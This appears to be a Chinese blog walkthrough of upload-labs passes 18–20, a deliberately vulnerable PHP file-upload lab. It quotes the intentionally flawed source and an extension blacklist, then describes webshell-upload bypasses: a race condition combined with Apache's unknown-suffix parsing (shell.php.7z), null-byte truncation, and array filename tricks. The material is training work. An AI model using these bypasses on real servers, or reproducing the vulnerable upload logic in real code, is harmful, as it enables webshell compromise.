Pass-18-代码逻辑-条件竞争-白名单-Apache陌生后缀解析漏洞

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();  //查看服务器本地是否有了临时的文件,证明有没有上次成功
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );   //查看传过来的参数是否可写
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();   //与白名单进行比较
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();    //检查文件大小有没有大于规定的最大文件大小
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){   //等于1进行判断  文件上传前是否就存在(默认为0)
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();    //先以上传的文件名保持在指定的目录下
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file
  
    if( $this->cls_rename_file == 1 ){     //等于1就生成新的随机文件名,此时成功改名(默认为1)
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
  1. 解题思路:该题有两种解法。①利用图片马和文件包含漏洞;②利用Apache的解析漏洞,上传shell.php.7z文件。这里使用第二种方法。解析漏洞讲解:
    一.https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
    二.https://blog.csdn.net/qq_32434307/article/details/79480316
    三.https://www.cnblogs.com/milantgh/p/5116955.html

  2. 具体实操:
       操作与Pass-17差不多就不操作了(拦截http://172.16.38.128/Pass-17/index.php上传文件的包和利用时间差访问http://172.16.38.128/upload/phpinfo.php)
       注意:本人在操作时,一开始没有清空参数导致无数次攻击就好像只上传了一次,导致无法成功生成木马文件(不知道是什么原因,按道理来说不应该这样,求大佬解答!!!)。
    在这里插入图片描述


Pass-19-黑名单-0x00截断

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);   //返回后缀

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
  1. 解决思路:该关为黑名单。可以通过0x00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操:
    在这里插入图片描述
    在这里插入图片描述
         注解:上传之后取后缀时应该取得.php0。所以可以通过黑名单。


Pass-20-数组绕过

  1. 源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}
  1. 解决思路:该关为白名单,首先判断了MIME类型再判断文件的后缀名。(观看:https://blog.csdn.net/u014029795/article/details/102917199

  2. 具体实操:
    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值